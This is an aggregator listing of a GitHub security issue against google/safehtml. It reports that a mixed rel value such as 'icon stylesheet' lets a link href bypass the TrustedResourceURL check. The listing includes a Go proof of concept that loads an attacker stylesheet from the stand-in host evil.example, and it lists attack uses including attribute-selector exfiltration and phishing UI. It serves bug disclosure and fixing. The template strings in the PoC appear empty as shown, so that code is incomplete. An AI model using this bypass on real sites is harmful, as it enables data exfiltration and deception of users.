google / google/safehtml

safehtml/template: one URL-ish rel token downgrades a <link href> that another token requires to be a TrustedResourceURL

Open Beginner friendly
#17 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Go
Stars
380
Forks
23
PR merge metrics
No merged PRs in 30d

Description

sanitizationContextForAttrVal (template/sanitize.go:148) walks a link element's rel token list and returns on the first token found in urlLinkRelVals:

```
if element == "link" && attr == "href" {
relVals := strings.Fields(linkRel)
for _, val := range relVals {
if urlLinkRelVals[val] {
return sanitizationContextTrustedResourceURLOrURL, nil
}
}
}

```

rel holds a space separated set of tokens and a browser honours all of them. The loop never checks whether a later token demands the stricter contract, so any single permissive token relaxes the whole element. rel="stylesheet" alone correctly requires a TrustedResourceURL. rel="icon stylesheet" contains "icon", which is in urlLinkRelVals, so the href drops to TrustedResourceURLOrURL and accepts a plain string, while the browser still applies the stylesheet.

Minimal PoC against current safehtml:

```
mkdir poc && cd poc
go mod init poc
go get github.com/google/safehtml@v0.1.0
# save the file below as main.go
go run .

```

```
package main

import (
"fmt"
"strings"

"github.com/google/safehtml/template"
)

func render(label string, t *template.Template, err error) {
if err != nil {
fmt.Printf("%-26s parse rejected: %v\n", label, err)
return
}
var out strings.Builder
if err := t.Execute(&out, map[string]interface{}{"X": "//evil.example/x.css"}); err != nil {
fmt.Printf("%-26s rejected: %v\n", label, err)
return
}
fmt.Printf("%-26s %s\n", label, out.String())
}

func main() {
a, aerr := template.New("a").Parse(``)
render(`rel="stylesheet"`, a, aerr)

b, berr := template.New("b").Parse(``)
render(`rel="icon stylesheet"`, b, berr)

c, cerr := template.New("c").Parse(``)
render(`rel="preload stylesheet"`, c, cerr)

d, derr := template.New("d").Parse(``)
render(`rel="alternate stylesheet"`, d, derr)
}

```

Actual output:

```
rel="stylesheet" rejected: template: a:1:31: executing "a" at <_sanitizeTrustedResourceURL>: error calling _sanitizeTrustedResourceURL: expected a safehtml.TrustedResourceURL value
rel="icon stylesheet"
rel="preload stylesheet"
rel="alternate stylesheet"

```

The result is a stylesheet fetched from an origin the attacker chose and applied to the page: attribute selector exfiltration of rendered values, UI redressing, and @import or font chaining onward. rel="icon stylesheet" and rel="preload stylesheet" are applied immediately with no user interaction; the alternate stylesheet form needs the user to select it, so it is the weakest of the three.

### Attack scenario

A remote attacker who controls a URL rendered into an affected mixed-rel can bypass the TrustedResourceURL requirement and load an attacker-controlled stylesheet without user interaction. This can enable page-content manipulation, credential-phishing UI, and limited disclosure of DOM attribute values, subject to CSP and browser restrictions.

Contributor guide

Open the contributing guide

Research direction

Start in template/sanitize.go at sanitizationContextForAttrVal, line 148, and trace how every token in a link element's rel value affects the href context. Reproduce the supplied Go PoC, especially the mixed-rel cases, then verify that any rel value containing stylesheet still requires TrustedResourceURL and rejects the attacker-controlled plain string.

Written by the indexing model from the issue text.

Assessment

Tech stack
go
Domain
security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
76/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.